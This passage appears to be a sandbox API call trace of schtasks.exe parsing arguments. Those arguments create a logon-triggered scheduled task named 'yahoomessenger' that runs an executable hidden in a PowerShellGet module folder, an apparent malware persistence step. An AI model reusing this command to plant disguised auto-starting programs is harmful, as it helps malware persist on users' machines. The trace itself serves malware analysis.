[0066.228] lstrlenW (lpString="change") returned 6 [0066.228] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.228] lstrlenW (lpString="tn") returned 2 [0066.228] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.228] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|change|") returned 8 [0066.228] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tn|") returned 4 [0066.228] lstrlenW (lpString="|change|") returned 8 [0066.228] lstrlenW (lpString="|tn|") returned 4 [0066.228] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0066.228] SetLastError (dwErrCode=0x490) [0066.228] lstrlenW (lpString="run") returned 3 [0066.228] lstrlenW (lpString="run") returned 3 [0066.228] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.228] lstrlenW (lpString="tn") returned 2 [0066.228] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.229] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|run|") returned 5 [0066.229] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tn|") returned 4 [0066.229] lstrlenW (lpString="|run|") returned 5 [0066.229] lstrlenW (lpString="|tn|") returned 4 [0066.229] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0066.229] SetLastError (dwErrCode=0x490) [0066.229] lstrlenW (lpString="end") returned 3 [0066.229] lstrlenW (lpString="end") returned 3 [0066.229] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.229] lstrlenW (lpString="tn") returned 2 [0066.229] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.229] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|end|") returned 5 [0066.229] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tn|") returned 4 [0066.229] lstrlenW (lpString="|end|") returned 5 [0066.229] lstrlenW (lpString="|tn|") returned 4 [0066.229] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0066.229] SetLastError (dwErrCode=0x490) [0066.229] lstrlenW (lpString="showsid") returned 7 [0066.229] lstrlenW (lpString="showsid") returned 7 [0066.229] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.229] GetProcessHeap () returned 0x240000 [0066.229] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c420) returned 1 [0066.229] GetProcessHeap () returned 0x240000 [0066.229] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25c420, Size=0x16) returned 0x25c420 [0066.229] lstrlenW (lpString="tn") returned 2 [0066.229] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.230] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|showsid|") returned 9 [0066.230] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tn|") returned 4 [0066.230] lstrlenW (lpString="|showsid|") returned 9 [0066.230] lstrlenW (lpString="|tn|") returned 4 [0066.243] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0066.243] SetLastError (dwErrCode=0x490) [0066.243] SetLastError (dwErrCode=0x490) [0066.244] SetLastError (dwErrCode=0x0) [0066.244] lstrlenW (lpString="/tn") returned 3 [0066.244] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0066.244] SetLastError (dwErrCode=0x490) [0066.244] SetLastError (dwErrCode=0x0) [0066.244] lstrlenW (lpString="/tn") returned 3 [0066.244] GetProcessHeap () returned 0x240000 [0066.244] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c3c0 [0066.244] GetProcessHeap () returned 0x240000 [0066.244] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cdf0 [0066.244] SetLastError (dwErrCode=0x0) [0066.244] SetLastError (dwErrCode=0x0) [0066.244] lstrlenW (lpString="yahoomessenger") returned 14 [0066.244] lstrlenW (lpString="-/") returned 2 [0066.244] StrChrIW (lpStart="-/", wMatch=0x79) returned 0x0 [0066.244] SetLastError (dwErrCode=0x490) [0066.244] SetLastError (dwErrCode=0x490) [0066.244] SetLastError (dwErrCode=0x0) [0066.244] lstrlenW (lpString="yahoomessenger") returned 14 [0066.244] StrChrIW (lpStart="yahoomessenger", wMatch=0x3a) returned 0x0 [0066.244] SetLastError (dwErrCode=0x490) [0066.244] SetLastError (dwErrCode=0x0) [0066.244] lstrlenW (lpString="yahoomessenger") returned 14 [0066.244] GetProcessHeap () returned 0x240000 [0066.244] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x1e) returned 0x25ce20 [0066.244] GetProcessHeap () returned 0x240000 [0066.244] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce50 [0066.244] SetLastError (dwErrCode=0x0) [0066.244] SetLastError (dwErrCode=0x0) [0066.245] lstrlenW (lpString="/sc") returned 3 [0066.245] lstrlenW (lpString="-/") returned 2 [0066.245] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.245] lstrlenW (lpString="?") returned 1 [0066.245] lstrlenW (lpString="?") returned 1 [0066.245] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.245] lstrlenW (lpString="sc") returned 2 [0066.245] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.245] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|?|") returned 3 [0066.245] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|sc|") returned 4 [0066.245] lstrlenW (lpString="|?|") returned 3 [0066.245] lstrlenW (lpString="|sc|") returned 4 [0066.245] SetLastError (dwErrCode=0x490) [0066.245] lstrlenW (lpString="create") returned 6 [0066.245] lstrlenW (lpString="create") returned 6 [0066.245] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.245] lstrlenW (lpString="sc") returned 2 [0066.245] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.245] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|create|") returned 8 [0066.245] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|sc|") returned 4 [0066.245] lstrlenW (lpString="|create|") returned 8 [0066.246] lstrlenW (lpString="|sc|") returned 4 [0066.246] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0066.246] SetLastError (dwErrCode=0x490) [0066.246] lstrlenW (lpString="delete") returned 6 [0066.246] lstrlenW (lpString="delete") returned 6 [0066.246] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.246] lstrlenW (lpString="sc") returned 2 [0066.246] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.246] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|delete|") returned 8 [0066.246] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|sc|") returned 4 [0066.246] lstrlenW (lpString="|delete|") returned 8 [0066.246] lstrlenW (lpString="|sc|") returned 4 [0066.246] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0066.246] SetLastError (dwErrCode=0x490) [0066.246] lstrlenW (lpString="query") returned 5 [0066.246] lstrlenW (lpString="query") returned 5 [0066.246] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.246] lstrlenW (lpString="sc") returned 2 [0066.246] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.246] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|query|") returned 7 [0066.246] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|sc|") returned 4 [0066.246] lstrlenW (lpString="|query|") returned 7 [0066.246] lstrlenW (lpString="|sc|") returned 4 [0066.246] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0066.246] SetLastError (dwErrCode=0x490) [0066.247] lstrlenW (lpString="change") returned 6 [0066.247] lstrlenW (lpString="change") returned 6 [0066.247] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.247] lstrlenW (lpString="sc") returned 2 [0066.247] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.247] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|change|") returned 8 [0066.247] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|sc|") returned 4 [0066.247] lstrlenW (lpString="|change|") returned 8 [0066.247] lstrlenW (lpString="|sc|") returned 4 [0066.247] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0066.247] SetLastError (dwErrCode=0x490) [0066.247] lstrlenW (lpString="run") returned 3 [0066.247] lstrlenW (lpString="run") returned 3 [0066.247] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.247] lstrlenW (lpString="sc") returned 2 [0066.247] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.247] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|run|") returned 5 [0066.247] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|sc|") returned 4 [0066.247] lstrlenW (lpString="|run|") returned 5 [0066.247] lstrlenW (lpString="|sc|") returned 4 [0066.247] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0066.247] SetLastError (dwErrCode=0x490) [0066.247] lstrlenW (lpString="end") returned 3 [0066.247] lstrlenW (lpString="end") returned 3 [0066.247] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.248] lstrlenW (lpString="sc") returned 2 [0066.248] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.248] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|end|") returned 5 [0066.248] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|sc|") returned 4 [0066.248] lstrlenW (lpString="|end|") returned 5 [0066.248] lstrlenW (lpString="|sc|") returned 4 [0066.248] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0066.248] SetLastError (dwErrCode=0x490) [0066.248] lstrlenW (lpString="showsid") returned 7 [0066.248] lstrlenW (lpString="showsid") returned 7 [0066.248] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.248] lstrlenW (lpString="sc") returned 2 [0066.248] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.248] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|showsid|") returned 9 [0066.248] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|sc|") returned 4 [0066.248] lstrlenW (lpString="|showsid|") returned 9 [0066.248] lstrlenW (lpString="|sc|") returned 4 [0066.248] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0066.248] SetLastError (dwErrCode=0x490) [0066.248] SetLastError (dwErrCode=0x490) [0066.248] SetLastError (dwErrCode=0x0) [0066.248] lstrlenW (lpString="/sc") returned 3 [0066.248] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0066.249] SetLastError (dwErrCode=0x490) [0066.249] SetLastError (dwErrCode=0x0) [0066.249] lstrlenW (lpString="/sc") returned 3 [0066.249] GetProcessHeap () returned 0x240000 [0066.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c450 [0066.249] GetProcessHeap () returned 0x240000 [0066.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ce80 [0066.249] SetLastError (dwErrCode=0x0) [0066.249] SetLastError (dwErrCode=0x0) [0066.249] lstrlenW (lpString="ONLOGON") returned 7 [0066.249] lstrlenW (lpString="-/") returned 2 [0066.249] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0066.249] SetLastError (dwErrCode=0x490) [0066.249] SetLastError (dwErrCode=0x490) [0066.249] SetLastError (dwErrCode=0x0) [0066.249] lstrlenW (lpString="ONLOGON") returned 7 [0066.249] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0066.249] SetLastError (dwErrCode=0x490) [0066.249] SetLastError (dwErrCode=0x0) [0066.249] lstrlenW (lpString="ONLOGON") returned 7 [0066.249] GetProcessHeap () returned 0x240000 [0066.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x10) returned 0x25c470 [0066.249] GetProcessHeap () returned 0x240000 [0066.249] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ceb0 [0066.249] SetLastError (dwErrCode=0x0) [0066.249] SetLastError (dwErrCode=0x0) [0066.249] lstrlenW (lpString="/tr") returned 3 [0066.249] lstrlenW (lpString="-/") returned 2 [0066.250] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.250] lstrlenW (lpString="?") returned 1 [0066.250] lstrlenW (lpString="?") returned 1 [0066.250] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.250] lstrlenW (lpString="tr") returned 2 [0066.250] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.250] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|?|") returned 3 [0066.250] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tr|") returned 4 [0066.250] lstrlenW (lpString="|?|") returned 3 [0066.250] lstrlenW (lpString="|tr|") returned 4 [0066.250] SetLastError (dwErrCode=0x490) [0066.250] lstrlenW (lpString="create") returned 6 [0066.250] lstrlenW (lpString="create") returned 6 [0066.250] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.250] lstrlenW (lpString="tr") returned 2 [0066.250] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.250] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|create|") returned 8 [0066.250] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tr|") returned 4 [0066.250] lstrlenW (lpString="|create|") returned 8 [0066.250] lstrlenW (lpString="|tr|") returned 4 [0066.250] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0066.250] SetLastError (dwErrCode=0x490) [0066.250] lstrlenW (lpString="delete") returned 6 [0066.250] lstrlenW (lpString="delete") returned 6 [0066.250] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.251] lstrlenW (lpString="tr") returned 2 [0066.251] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.251] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|delete|") returned 8 [0066.251] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tr|") returned 4 [0066.251] lstrlenW (lpString="|delete|") returned 8 [0066.251] lstrlenW (lpString="|tr|") returned 4 [0066.251] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0066.251] SetLastError (dwErrCode=0x490) [0066.251] lstrlenW (lpString="query") returned 5 [0066.251] lstrlenW (lpString="query") returned 5 [0066.251] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.251] lstrlenW (lpString="tr") returned 2 [0066.251] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.251] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|query|") returned 7 [0066.251] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tr|") returned 4 [0066.251] lstrlenW (lpString="|query|") returned 7 [0066.251] lstrlenW (lpString="|tr|") returned 4 [0066.251] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0066.251] SetLastError (dwErrCode=0x490) [0066.251] lstrlenW (lpString="change") returned 6 [0066.251] lstrlenW (lpString="change") returned 6 [0066.251] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.251] lstrlenW (lpString="tr") returned 2 [0066.251] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.252] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|change|") returned 8 [0066.252] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tr|") returned 4 [0066.252] lstrlenW (lpString="|change|") returned 8 [0066.252] lstrlenW (lpString="|tr|") returned 4 [0066.252] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0066.252] SetLastError (dwErrCode=0x490) [0066.252] lstrlenW (lpString="run") returned 3 [0066.252] lstrlenW (lpString="run") returned 3 [0066.252] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.252] lstrlenW (lpString="tr") returned 2 [0066.252] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.252] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|run|") returned 5 [0066.252] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tr|") returned 4 [0066.252] lstrlenW (lpString="|run|") returned 5 [0066.252] lstrlenW (lpString="|tr|") returned 4 [0066.252] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0066.252] SetLastError (dwErrCode=0x490) [0066.252] lstrlenW (lpString="end") returned 3 [0066.252] lstrlenW (lpString="end") returned 3 [0066.252] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.252] lstrlenW (lpString="tr") returned 2 [0066.252] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.252] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|end|") returned 5 [0066.253] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tr|") returned 4 [0066.253] lstrlenW (lpString="|end|") returned 5 [0066.253] lstrlenW (lpString="|tr|") returned 4 [0066.253] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0066.253] SetLastError (dwErrCode=0x490) [0066.253] lstrlenW (lpString="showsid") returned 7 [0066.253] lstrlenW (lpString="showsid") returned 7 [0066.253] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.253] lstrlenW (lpString="tr") returned 2 [0066.253] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.253] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|showsid|") returned 9 [0066.253] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tr|") returned 4 [0066.253] lstrlenW (lpString="|showsid|") returned 9 [0066.253] lstrlenW (lpString="|tr|") returned 4 [0066.253] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0066.253] SetLastError (dwErrCode=0x490) [0066.253] SetLastError (dwErrCode=0x490) [0066.253] SetLastError (dwErrCode=0x0) [0066.253] lstrlenW (lpString="/tr") returned 3 [0066.253] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0066.253] SetLastError (dwErrCode=0x490) [0066.253] SetLastError (dwErrCode=0x0) [0066.253] lstrlenW (lpString="/tr") returned 3 [0066.253] GetProcessHeap () returned 0x240000 [0066.253] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x8) returned 0x25c490 [0066.253] GetProcessHeap () returned 0x240000 [0066.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cee0 [0066.254] SetLastError (dwErrCode=0x0) [0066.254] SetLastError (dwErrCode=0x0) [0066.254] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.254] lstrlenW (lpString="-/") returned 2 [0066.254] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0066.254] SetLastError (dwErrCode=0x490) [0066.254] SetLastError (dwErrCode=0x490) [0066.254] SetLastError (dwErrCode=0x0) [0066.254] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.254] StrChrIW (lpStart="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'" [0066.254] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.254] GetProcessHeap () returned 0x240000 [0066.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25c4b0 [0066.254] _memicmp (_Buf1=0x25c4b0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.254] GetProcessHeap () returned 0x240000 [0066.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25c4d0 [0066.254] GetProcessHeap () returned 0x240000 [0066.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25c4f0 [0066.254] _memicmp (_Buf1=0x25c4f0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.254] GetProcessHeap () returned 0x240000 [0066.254] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc6) returned 0x25c510 [0066.254] SetLastError (dwErrCode=0x7a) [0066.255] SetLastError (dwErrCode=0x0) [0066.255] SetLastError (dwErrCode=0x0) [0066.255] lstrlenW (lpString="'C") returned 2 [0066.255] lstrlenW (lpString="-/") returned 2 [0066.255] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0066.255] SetLastError (dwErrCode=0x490) [0066.255] SetLastError (dwErrCode=0x490) [0066.255] SetLastError (dwErrCode=0x0) [0066.255] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.255] GetProcessHeap () returned 0x240000 [0066.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xc4) returned 0x25c5e0 [0066.255] GetProcessHeap () returned 0x240000 [0066.255] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cf10 [0066.255] SetLastError (dwErrCode=0x0) [0066.255] SetLastError (dwErrCode=0x0) [0066.255] lstrlenW (lpString="/rl") returned 3 [0066.255] lstrlenW (lpString="-/") returned 2 [0066.255] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.255] lstrlenW (lpString="?") returned 1 [0066.255] lstrlenW (lpString="?") returned 1 [0066.255] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.255] lstrlenW (lpString="rl") returned 2 [0066.255] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.255] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|?|") returned 3 [0066.255] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|rl|") returned 4 [0066.255] lstrlenW (lpString="|?|") returned 3 [0066.256] lstrlenW (lpString="|rl|") returned 4 [0066.256] SetLastError (dwErrCode=0x490) [0066.256] lstrlenW (lpString="create") returned 6 [0066.256] lstrlenW (lpString="create") returned 6 [0066.256] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.256] lstrlenW (lpString="rl") returned 2 [0066.256] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.256] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|create|") returned 8 [0066.256] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|rl|") returned 4 [0066.256] lstrlenW (lpString="|create|") returned 8 [0066.256] lstrlenW (lpString="|rl|") returned 4 [0066.256] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0066.256] SetLastError (dwErrCode=0x490) [0066.256] lstrlenW (lpString="delete") returned 6 [0066.256] lstrlenW (lpString="delete") returned 6 [0066.256] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.256] lstrlenW (lpString="rl") returned 2 [0066.256] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.256] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|delete|") returned 8 [0066.256] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|rl|") returned 4 [0066.256] lstrlenW (lpString="|delete|") returned 8 [0066.256] lstrlenW (lpString="|rl|") returned 4 [0066.256] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0066.256] SetLastError (dwErrCode=0x490) [0066.257] lstrlenW (lpString="query") returned 5 [0066.257] lstrlenW (lpString="query") returned 5 [0066.257] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.257] lstrlenW (lpString="rl") returned 2 [0066.257] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.257] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|query|") returned 7 [0066.257] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|rl|") returned 4 [0066.257] lstrlenW (lpString="|query|") returned 7 [0066.257] lstrlenW (lpString="|rl|") returned 4 [0066.257] StrStrIW (lpFirst="|query|", 